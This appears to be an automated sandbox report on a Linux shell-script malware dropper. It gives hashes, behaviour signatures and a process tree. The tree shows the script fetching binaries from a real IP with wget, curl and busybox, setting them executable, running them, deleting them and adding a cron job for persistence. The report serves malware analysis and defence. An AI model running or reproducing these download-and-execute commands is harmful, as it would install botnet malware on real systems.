Analysis

  • max time kernel
    123s
  • max time network
    136s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/11/2024, 04:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    17bab3e7840a5a55ca1843505176c109

  • SHA1

    faa9c551105564e09251292dfb6f02aa111a3b68

  • SHA256

    af8129a0e0fc46b8d506c1b26cc449456595b5c1aa3d8357ea3ee8ef3de1f1e4

  • SHA512

    c5dfb0a9fbde5edbaf798ef76296c172cdf427f57b34e116a3fdc0a3b68f4d5220d3836736a6dcd6b6745fbddcf6d5d5c7bcde12f047482c05fe7aa49457a394

  • SSDEEP

    96:N+++3H3MgiBztvR/0EnZwNtvR/0ErJ+IiuDjI/E+3H3MgEpbgX:o+t5ZP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:717
        • /usr/bin/wget
          wget http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:761
        • /bin/chmod
          chmod 777 tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • File and Directory Permissions Modification
          PID:781
        • /tmp/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          ./tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Executes dropped EXE
          PID:783
        • /bin/rm
          rm tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
            PID:786
          • /usr/bin/wget
            wget http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Writes file to tmp directory
            PID:787
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:794
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Writes file to tmp directory
            PID:795
          • /bin/chmod
            chmod 777 TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • File and Directory Permissions Modification
            PID:796
          • /tmp/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            ./TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Executes dropped EXE
            PID:797
          • /bin/rm
            rm TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
              PID:799
            • /usr/bin/wget
              wget http://216.126.231.240/bins/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Writes file to tmp directory
              PID:800
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:801
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Writes file to tmp directory
              PID:807
            • /bin/chmod
              chmod 777 6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • File and Directory Permissions Modification
              PID:814
            • /tmp/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              ./6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Executes dropped EXE
              PID:815
            • /bin/rm
              rm 6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
                PID:819
              • /usr/bin/wget
                wget http://216.126.231.240/bins/DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                2⤵
                • Writes file to tmp directory
                PID:821
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:831
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                2⤵
                • Writes file to tmp directory
                PID:842
              • /bin/chmod
                chmod 777 DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                2⤵
                • File and Directory Permissions Modification
                PID:843
              • /tmp/DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                ./DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                2⤵
                • Executes dropped EXE
                PID:844
              • /bin/rm
                rm DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                2⤵
                  PID:846
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:847
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:848
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:849
                • /bin/chmod
                  chmod 777 Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:850
                • /tmp/Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  ./Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:851
                • /bin/rm
                  rm Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh
                  2⤵
                  • System Network Configuration Discovery
                  PID:853
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                  2⤵
                  • Writes file to tmp directory
                  PID:854
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                  2⤵
                  • Writes file to tmp directory
                  PID:855
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                  2⤵
                  • Writes file to tmp directory
                  PID:856
                • /bin/chmod
                  chmod 777 0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                  2⤵
                  • File and Directory Permissions Modification
                  PID:857
                • /tmp/0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                  ./0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:858
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:860
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:861
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:862
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:863
                    • /bin/rm
                      rm 0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON
                      2⤵
                        PID:865
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/90iwxD6QfmNRWxQF9BUYaWyOUMRqmWDr0e
                        2⤵
                          PID:868
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/90iwxD6QfmNRWxQF9BUYaWyOUMRqmWDr0e
                          2⤵
                          • Reads runtime system information
                          PID:869

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/0dKaSyuGc8LsYxCtmbSejJZB1F0HIdMhON

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/Bippc6WIUd4agMc7csSF1BNWfZ0phTHNeh

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /tmp/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /var/spool/cron/crontabs/tmp.fobkQe

                        Filesize

                        210B

                        MD5

                        9268da4117cb7a71c2d359df52db404c

                        SHA1

                        8cb100d056873691ccef524f48a69e6af3d9954f

                        SHA256

                        abca9bf8c281908be5cb65cf5512ee8795386ebf859215375b81d04be96664cd

                        SHA512

                        abf771f42eb078d06ce9b0b74ff8cb6a26bdd48a73b939bf533d7af37d8e0c7a30e33fa1451b1ccb690addb84550808b7e4404f405374eaeba418882d91545ab